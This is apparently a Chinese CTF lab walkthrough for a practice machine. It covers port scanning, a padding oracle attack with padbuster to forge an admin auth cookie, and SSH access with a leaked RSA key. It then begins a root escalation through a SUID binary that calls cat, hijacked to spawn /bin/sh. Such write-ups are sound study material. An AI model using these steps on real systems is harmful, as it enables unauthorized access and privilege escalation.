1 信息收集
1.端口扫描
发现 SSH(22)、HTTP(80)端口
nmap -sC -sV 10.129.159.51
2.访问 80 端口
1.页面中存在注册功能,测试注册功能
页面返回登录页面及用户名
使用burpsuite观察注册请求 /register.php
2.cookie 测试
登录请求 /index.php
,观察cookie,auth不是标准的 PHP 会话管理 cookie,测试auth
测试auth
,在更改auth的值后,响应显示 Invalid padding
,根据响应,猜测可能存在 padding 漏洞
2 padding 攻击
1.padding oracle攻击技术
padding oracle攻击技术
是指使用密文的填充验证信息来进行解密的攻击方法。密码学中,可变长度的明文信息通常需要经填充后才能兼容基础的密码原语。
攻击者可以拦截加密算法加密的消息。通过padding oracle攻击技术,在不清楚 key 和 IV 的前提下解密任意给定的密文。
使用padbuster工具进行测试:
http://10.129.139.45/index.php
[EncryptedSample] -- Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT一个有效的 cookie
[BlockSize] - 8,一般为 8 或 16。
-cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT -- 向 padbuster 传递数据的存放位置
-encoding 0 -- base64
padbuster http://10.129.139.45/index.php Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT 8 -cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT encoding 0
使用 padbuster工具加密admin
padbuster http://10.129.139.45/index.php Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT 8 -cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT encoding 0 -plaintext user=admin
获取权限
获取到新的cookie,使用cookie进行登录,替换cookie,刷新/index.php
BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
使用admin账户登录成功,页面URI显示用户为 mitsos
,及一个RSA私钥
SSH登录
chmod 600 id_rsa
ssh -i id_rsa mitsos@10.129.139.45
3 权限提升
在 mitsos 的主目录中有一个 根 SUID 二进制文件backup
,以及 cat 命令
,运行backup,它输出的内容类似于 /etc/shadow,该文件只能由 root 读取
因为suid程序正在调用cat命令,我们可以编辑cat使用sudo权限打开/bin/sh